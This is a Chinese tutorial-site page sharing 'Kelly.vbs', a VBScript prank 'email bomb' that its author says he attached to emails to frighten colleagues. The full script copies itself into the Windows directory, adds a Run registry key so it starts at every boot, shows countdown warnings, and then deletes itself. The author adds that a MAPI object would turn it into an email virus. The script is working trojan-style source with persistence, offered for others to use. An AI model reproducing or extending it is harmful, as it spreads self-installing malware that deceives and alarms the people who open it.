记住哦，本站网址是：http://www.7139.com
梦幻网络
导航图标
您现在的位置： 梦幻网络 >> 技术学院 >> 网页设计 >> Script >> 正文

Email 炸弹 vbscript 版

来源：互联网 收集：梦幻网络 本站网址：www.7139.com 点击数： 【字体：减小 增大】


想起 Email 炸弹，我到是曾用 vbscript 做过一个简易版，文件名kelly.vbs，原来是插在邮件里吓人玩的，大家可以看看玩^_^。

Dim WSHShell,ver
Set WSHShell = WScript.CreateObject("WScript.Shell")
ver = "《Kelly1号》（4月1日版）"

On Error Resume Next
With WSHShell
c = .RegRead("HKCU\Software\《Kelly1号》邮件炸弹\")
If IsEmpty(c) Then
First
Else
d = CDate(c) - Date()
If d <= 0 Then
.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lvrui"
.RegDelete "HKCU\Software\《Kelly1号》邮件炸弹\"
.Popup "《Kelly1号》邮件炸弹因受潮无法爆炸而自毁！您以后不必担心了！",,ver
ELse
.Popup "《Kelly1号》邮件炸弹 已经启动！离爆炸时间还有 " & CStr(d) & " 天，请您做好准备。


",,ver
End If
End If
End With

Sub First()
With WSHShell
.Run "xcopy %temp%\Kelly.vbs %windir%\"
.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lvrui",

WSHShell.Environment("PROCESS").Item("windir")+"\Kelly.vbs"
.RegWrite "HKCU\Software\《Kelly1号》邮件炸弹\", Date()+10
.Popup "《Kelly1号》邮件炸弹 已经安装成功！每次启动时自动启动，时机成熟时将自动爆炸，请您

做好准备。",,ver
End With
End Sub

本炸弹是我以前跟同事开玩笑作着玩的，如果把里面的拷贝过程改成用filesystemobject可在任何系统中运行，另外若创建mapi对象，便可成为Email病毒
（完）计算机基础教程网


Google
【更新时间：2006-7-14 7:34:41】【打印此文】【关闭窗口】
搜索